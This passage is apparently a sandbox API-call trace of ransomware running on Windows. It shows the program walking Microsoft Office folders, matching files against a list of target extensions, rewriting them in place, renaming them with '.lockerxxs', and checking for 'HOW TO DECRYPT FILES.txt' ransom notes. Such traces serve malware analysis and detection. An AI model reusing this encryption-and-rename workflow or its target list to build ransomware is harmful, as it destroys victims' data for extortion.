Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm.lockerxxs" [0064.745] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.745] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x8f8 [0064.745] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa3d65300, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x5298e710, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa3d65300, dwHighDateTime=0x1c747ea)) returned 1 [0064.746] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.746] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x8d2, lpOverlapped=0x0) returned 1 [0064.757] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm") returned="FormsVersion1Warning.htm" [0064.757] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.757] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x8d2, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x8d2, lpOverlapped=0x0) returned 1 [0064.758] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0064.758] CloseHandle (hObject=0x98) returned 1 [0064.759] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsversion1warning.htm.lockerxxs")) returned 1 [0064.760] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x618eeb70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x1499, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsViewAttachmentIcons.jpg", cAlternateFileName="FORMSV~1.JPG")) returned 1 [0064.760] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.760] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsViewAttachmentIcons.jpg") returned -1 [0064.760] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsViewAttachmentIcons.jpg") returned 1 [0064.760] lstrcmpiA (lpString1="", lpString2="FormsViewAttachmentIcons.jpg") returned -1 [0064.760] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsVersion1Warning.htm") returned="FormsVersion1Warning.htm" [0064.760] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.760] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.761] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.761] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.761] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="FormsViewAttachmentIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" [0064.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.ems") returned 0 [0064.761] lstrlenA (lpString="*.ems") returned 5 [0064.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.db") returned 0 [0064.761] lstrlenA (lpString="*.db") returned 4 [0064.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.dbf") returned 0 [0064.761] lstrlenA (lpString="*.dbf") returned 5 [0064.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.myox") returned 0 [0064.761] lstrlenA (lpString="*.myox") returned 6 [0064.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.myo") returned 0 [0064.761] lstrlenA (lpString="*.myo") returned 5 [0064.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbw") returned 0 [0064.761] lstrlenA (lpString="*.qbw") returned 5 [0064.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbb") returned 0 [0064.761] lstrlenA (lpString="*.qbb") returned 5 [0064.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbm") returned 0 [0064.761] lstrlenA (lpString="*.qbm") returned 5 [0064.761] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbo") returned 0 [0064.761] lstrlenA (lpString="*.qbo") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbx") returned 0 [0064.762] lstrlenA (lpString="*.qbx") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.qba") returned 0 [0064.762] lstrlenA (lpString="*.qba") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.qby") returned 0 [0064.762] lstrlenA (lpString="*.qby") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.qbj") returned 0 [0064.762] lstrlenA (lpString="*.qbj") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.ofx") returned 0 [0064.762] lstrlenA (lpString="*.ofx") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.qif") returned 0 [0064.762] lstrlenA (lpString="*.qif") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.mye") returned 0 [0064.762] lstrlenA (lpString="*.mye") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.mbox") returned 0 [0064.762] lstrlenA (lpString="*.mbox") returned 6 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.eml") returned 0 [0064.762] lstrlenA (lpString="*.eml") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.pst") returned 0 [0064.762] lstrlenA (lpString="*.pst") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.ost") returned 0 [0064.762] lstrlenA (lpString="*.ost") returned 5 [0064.762] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.idx") returned 0 [0064.762] lstrlenA (lpString="*.idx") returned 5 [0064.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.dbx") returned 0 [0064.763] lstrlenA (lpString="*.dbx") returned 5 [0064.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.sql") returned 0 [0064.763] lstrlenA (lpString="*.sql") returned 5 [0064.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.mdb") returned 0 [0064.763] lstrlenA (lpString="*.mdb") returned 5 [0064.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.fdb") returned 0 [0064.763] lstrlenA (lpString="*.fdb") returned 5 [0064.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.wab") returned 0 [0064.763] lstrlenA (lpString="*.wab") returned 5 [0064.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.dat") returned 0 [0064.763] lstrlenA (lpString="*.dat") returned 5 [0064.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.txt") returned 0 [0064.763] lstrlenA (lpString="*.txt") returned 5 [0064.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.jpeg") returned 0 [0064.763] lstrlenA (lpString="*.jpeg") returned 6 [0064.763] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", pszSpec="*.jpg") returned 1 [0064.763] lstrlenA (lpString="*.jpg") returned 5 [0064.763] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" [0064.763] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" [0064.763] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg", lpString2="." | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg.") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg." [0064.763] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg.lockerxxs") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg.lockerxxs" [0064.763] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x98 [0064.764] GetFileSize (in: hFile=0x98, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x1499 [0064.764] GetFileTime (in: hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0xa3d65300, dwHighDateTime=0x1c747ea), lpLastAccessTime=0x407536*(dwLowDateTime=0x618eeb70, dwHighDateTime=0x1d301bf), lpLastWriteTime=0x40753e*(dwLowDateTime=0xa3d65300, dwHighDateTime=0x1c747ea)) returned 1 [0064.764] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.764] ReadFile (in: hFile=0x98, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x1473, lpOverlapped=0x0) returned 1 [0064.767] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg") returned="FormsViewAttachmentIcons.jpg" [0064.767] SetFilePointer (in: hFile=0x98, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0064.767] WriteFile (in: hFile=0x98, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x1473, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x1473, lpOverlapped=0x0) returned 1 [0064.767] SetFileTime (hFile=0x98, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0064.767] CloseHandle (hObject=0x98) returned 1 [0064.768] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg.lockerxxs" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\formsviewattachmenticons.jpg.lockerxxs")) returned 1 [0064.769] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f508 | out: lpFindFileData=0x18f508*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa3d65300, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x5298e710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa3d65300, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0x638, dwReserved0=0x3000003, dwReserved1=0x4f81d8, cFileName="FormsViewAttachmentIconsMask.bmp", cAlternateFileName="FORMSV~1.BMP")) returned 1 [0064.770] PeekMessageA (in: lpMsg=0x18f4e4, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f4e4) returned 0 [0064.770] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="FormsViewAttachmentIconsMask.bmp") returned -1 [0064.770] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="FormsViewAttachmentIconsMask.bmp") returned 1 [0064.770] lstrcmpiA (lpString1="", lpString2="FormsViewAttachmentIconsMask.bmp") returned -1 [0064.770] PathFindFileNameA (pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIcons.jpg") returned="FormsViewAttachmentIcons.jpg" [0064.770] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" [0064.770] PathAddBackslashA (in: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\" | out: pszPath="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\") returned="" [0064.770] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" [0064.770] GetFileAttributesA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\grooveforms4\\how to decrypt files.txt")) returned 0x20 [0064.770] lstrcatA (in: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\", lpString2="FormsViewAttachmentIconsMask.bmp" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp" [0064.770] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.ems") returned 0 [0064.770] lstrlenA (lpString="*.ems") returned 5 [0064.770] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.db") returned 0 [0064.770] lstrlenA (lpString="*.db") returned 4 [0064.770] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.dbf") returned 0 [0064.770] lstrlenA (lpString="*.dbf") returned 5 [0064.770] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.myox") returned 0 [0064.770] lstrlenA (lpString="*.myox") returned 6 [0064.770] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.myo") returned 0 [0064.770] lstrlenA (lpString="*.myo") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbw") returned 0 [0064.771] lstrlenA (lpString="*.qbw") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbb") returned 0 [0064.771] lstrlenA (lpString="*.qbb") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbm") returned 0 [0064.771] lstrlenA (lpString="*.qbm") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbo") returned 0 [0064.771] lstrlenA (lpString="*.qbo") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbx") returned 0 [0064.771] lstrlenA (lpString="*.qbx") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qba") returned 0 [0064.771] lstrlenA (lpString="*.qba") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qby") returned 0 [0064.771] lstrlenA (lpString="*.qby") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qbj") returned 0 [0064.771] lstrlenA (lpString="*.qbj") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.ofx") returned 0 [0064.771] lstrlenA (lpString="*.ofx") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.qif") returned 0 [0064.771] lstrlenA (lpString="*.qif") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mye") returned 0 [0064.771] lstrlenA (lpString="*.mye") returned 5 [0064.771] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mbox") returned 0 [0064.771] lstrlenA (lpString="*.mbox") returned 6 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.eml") returned 0 [0064.772] lstrlenA (lpString="*.eml") returned 5 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.pst") returned 0 [0064.772] lstrlenA (lpString="*.pst") returned 5 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.ost") returned 0 [0064.772] lstrlenA (lpString="*.ost") returned 5 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.idx") returned 0 [0064.772] lstrlenA (lpString="*.idx") returned 5 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.dbx") returned 0 [0064.772] lstrlenA (lpString="*.dbx") returned 5 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.sql") returned 0 [0064.772] lstrlenA (lpString="*.sql") returned 5 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.mdb") returned 0 [0064.772] lstrlenA (lpString="*.mdb") returned 5 [0064.772] PathMatchSpecA (pszFile="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\GrooveForms4\\FormsViewAttachmentIconsMask.bmp", pszSpec="*.fdb") returned 0 [0064.772] lstrlenA (lpString="*.fdb") returned 5 